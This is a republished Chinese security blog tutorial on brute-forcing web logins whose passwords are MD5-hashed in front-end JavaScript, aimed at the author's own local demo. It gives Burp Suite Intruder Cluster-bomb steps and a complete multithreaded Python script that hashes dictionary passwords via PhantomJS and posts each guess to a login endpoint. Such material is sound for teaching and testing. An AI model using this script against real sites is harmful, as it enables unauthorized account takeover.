您现在的位置是:首页 > 文章详情

Web暴力破解--前端JS表单加密进行爆破

日期:2018-06-08点击:366

 0x01 前言

常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。

0x02 代码

login.html

<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>用户登录</title> <script type="text/ecmascript" src="md5.js"></script> <script> function checkInput() { var password_input = document.getElementById('password'); var password_md5 = document.getElementById('password_md5'); // set password password_md5.value =hex_md5(password_input.value); return true; } </script> </head> <body> <form action="login.php" method="post" onsubmit="return checkInput()"> 用户:<input type="text" id="username" name="username"> <br/> 密码:<input type="password" id="password"> <br/> <input type="hidden" id="password_md5" name="password"> <input type="submit" value="提交" /> </form> </body> </html> 

提交表单,进行抓包,可以发现密码字段密码进行了加密处理:

 

 0x03 Web暴力猜解

方式一:Burp Suite

使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。

四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。

1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值   admin:21232f297a57a5a743894a0e4a801fc3

4、md5解密成功,获得用户名密码 admin/admin

 方式二:Python脚本

这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

准备:

pip install PyExecJS

phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

编写Python脚本进行爆破:

#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import threadpool from selenium import webdriver import execjs def getpass(str): with open ('md5.js','r') as js: source = js.read() phantom = execjs.get('PhantomJS') getpass = phantom.compile(source) password = getpass.call('hex_md5',str) return password def login(user,passwd): url="http://127.0.0.1/login.php" payload ={'username':user,'password':getpass(passwd)} headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'} try: response = requests.post(url,data=payload,headers=headers,timeout=5) result=response.content if result.count('fail')<1: print '[success] ' +url+":"+user+':'+passwd except: pass def getLines(fileName): list=[] with open(fileName, 'r') as fd: for line in fd.readlines(): line = line.strip() if not len(line) or line.startswith('#'): continue list.append(line) return list if __name__ == '__main__': username_list=getLines('user.dict') password_list=getLines('pass.dict') userlist = [([user,passwd],None) for user in username_list for passwd in password_list] pool = threadpool.ThreadPool(20) reqs = threadpool.makeRequests(login,userlist) [pool.putRequest(req) for req in reqs] pool.wait()

 成功爆破用户账号密码

0x04 END

  从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

 

 

参考链接:

JS实现密码加密

http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html

js实现表单提交submit(),onsubmit

https://www.cnblogs.com/web-wjg/p/7894657.html

对登录中账号密码进行加密之后再传输的爆破的思路和方式

http://www.freebuf.com/articles/web/127888.html

 

原文链接:https://yq.aliyun.com/articles/616731
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章